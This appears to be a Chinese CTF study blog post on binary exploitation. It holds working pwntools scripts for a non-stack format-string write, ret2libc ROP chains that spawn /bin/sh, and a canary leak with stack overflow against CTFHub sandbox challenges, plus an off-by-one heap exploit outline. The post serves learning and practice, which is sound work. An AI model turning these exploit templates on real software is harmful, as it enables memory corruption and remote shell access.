从0到1:CTFer成长之路-PWN篇

72217_格式化字符串不在栈上的利用方式

格式化字符串不在栈上的利用方式, 参数在 .bss 段,不在栈上

条件: 需要多次可输入参数

void vuln()
{
  while ( strcmp(chr, "bye") )
  {
    gets(chr);
    printf(chr);
  }
}
  1. 在栈上找到一个利用链 p1->p2->p3, p2,p3都在栈上.另一个指针 p4-> target(目标地址)
  2. 通过p1 修改 p2 低地址指向 p3
  3. 通过p2 修改 p3 值, 使其指向p4
  4. 通过p3 修改 p4 值 即构造出 p1 -> p2 -> p3 -> p4
"""
|0a:0050│  0x7ffe9b362c80 —▸ 0x4005d0 (_start) ◂— xor ebp, ebp
│13:0098│  0x7ffe9b362cc8 —▸ 0x7ffe9b362d38 —▸ 0x7ffe9b362c82 ◂— 0x2d20000000000040 /* '@'
│pwndbg> fmtarg 0x7ffe9b362cc8
│The index of format argument : 25 ("\%24$p")
pwndbg> fmtarg 0x7ffe9b362c80
The index of format argument : 16 ("\%15$p")
pwndbg> fmtarg 0x7ffe9b362d38
The index of format argument : 39 ("\%38$p")
0x7ffe9b362d38 - 0x7ffe9b362c80 = 0xb8
"""
from pwn import *

s = process('demo')
value = 0xDEADBEEF12345678

payload = "%25$p"
# offset 25
# offset 16
# offset 39

# gdb.attach(s, "b *0x4006e5\n\c\n")
# gdb.attach(s, "b *0x04006FE\n\c\n")
s.sendline(payload)
stack = int(s.recv(14), 16)
success(hex(stack))

pie = stack - 0xb8
pie += 2
print('pie ', hex(pie))
payload = "%" + str(pie & 0xffff) + "c%25$hn"
print('payload, ', payload)
s.sendline(payload)

secret1 = 0x601080 # .bss段中固定地址
secret2 = secret1 // 0x10000
payload = "%" + str(secret2 & 0xffff) + "c%39$hn"
s.sendline(payload)

pie -= 2
payload = "%" + str(pie & 0xffff) + "c%25$hn"
s.sendline(payload)

for i in range(4):
    payload = "%" + str(secret1 & 0xffff) + "c%39$hn"
    s.sendline(payload)
    payload = "%" + str(value & 0xffff) + "c%16$hn"
    s.sendline(payload)
    secret1 += 2
    value //= 0x10000

s.sendline('bye')
s.interactive()

72218_其他常见漏洞

from pwn import *

context(log_level='debug', arch='amd64', os='linux')

s = process('./test')

elf = ELF("./test")
pop_rdi = 0x04006d3  #
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']

lst = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10,
       '+',
       '9',  # 任意数
       pop_rdi,
       puts_got,
       puts_plt,
       main,
       17, 18, 19]

for l in lst:
    s.sendline(str(l))

s.recvline()
puts = u64(s.recv(6).ljust(8, b'\x00'))
success(hex(puts))
libc = ELF("./libc-2.23.so")
offset = puts - libc.sym["puts"]
system = libc.sym["system"] + offset
sh = next(libc.search(b"/bin/sh")) + offset

lst = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10,
       '+',
       '9',  # 任意数
       pop_rdi,
       sh,
       system,
       main,
       17, 18, 19]

for l in lst:
    s.sendline(str(l))

s.interactive()

基础记录

CTFHUB-栈溢出-ret2libc

附件和远程的libc不同。 远程是 libc6_2.23-0ubuntu11.3_amd64 本地是 libc6_2.23-0ubuntu11.2_amd64

# ctfhub ret2libc
from pwn import *

context.arch = 'amd64'
io = remote('challenge-13106b67e4ff008a.sandbox.ctfhub.com', '29200')
e = ELF('ret2libc')

main_addr = e.symbols['main']
puts_plt = e.symbols["puts"]
puts_got = e.got["puts"]
pop_rdi_ret = 0x0400703

junk = 'a' * (144 + 8)

payload = flat(junk, pop_rdi_ret, puts_got, puts_plt, main_addr)
io.sendlineafter(" ctfhub", payload)

puts_addr = io.recvuntil(b'\x7f')[-6:]
puts_addr = unpack(puts_addr.ljust(8, b'\x00'))  # 地址是6bytes, 补到8位unpack
success(hex(puts_addr))

libc = ELF('./libc.so')
libc.address = puts_addr - libc.sym["puts"]
system = libc.sym["system"]
bin_sh = libc.address + 0x18ce57
success(hex(bin_sh))

ret = 0x00004004c9

payload = flat(junk, ret, pop_rdi_ret, bin_sh, system)  # ubuntu64需要栈对齐, 加个ret
io.sendlineafter(" ctfhub", payload)
io.sendline(payload)

io.interactive()

CTFHUB-栈溢出-Leak canary

from pwn import *

context(os='linux', arch='i386', log_level='debug')
sh = remote('challenge-28d068247472f82b.sandbox.ctfhub.com','24123')
offset_fms = 31  # 格式化字符串的偏移量
offset_sta = 100  # 栈溢出覆盖返回地址的偏移量,计算方法和上面一个相同
p = '%' + str(offset_fms) + '$' + 'p'
print(p)
sh.sendafter('someting:', p)
sh.recvuntil('0x')
canary = int(sh.recv(8), 16)
print('canary = ' + hex(canary))
getshell = ELF('pwn').sym['shell']

exp = flat(
    'A' * offset_sta,  # padding
    canary, 'A' * 8,  # canary , 填充数可以ida看栈,也可以gdb断下这里看 esp 位置,需要填充多少
    'A' * 4,  # caller's $ebp
    getshell)  # ret addr

sh.send(exp)
sh.recv()
sh.interactive()

堆学习

OffByOne

offbyone, 申请多块空间,通过1字节溢出覆盖 size大小为0x41。这时索引1的chunk size变为0x41。覆盖前后变化如下。

申请堆时有结构体,每个nodelist 申请2个堆,一个存放content指针,一个存储content。

这里free出现2个chunk。0x20的head和0x40的content。

fastbin
0x20: 	0x2316060 ◂— 0x0
0x40: 	0x2316040 ◂— 0x0

再次申请时给2个块。

第一块 head 0x20 分配为 0x2316060(因为它大小为0x20,申请也是0x20)。head对应的ptr->content指针在 head + 0x18的位置。

第二块 content 0x40 分配为 0x2316040。这里是可以修改上面head中的指针的。从而造时任意读取。leak出libc。

然后再通过edit功能可编辑 ptr -> content造成任意写。system写入atoi.手动输入/bin/sh 完成getshell。

调用atoi(buf)时即可完成 system("/bin/sh")

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值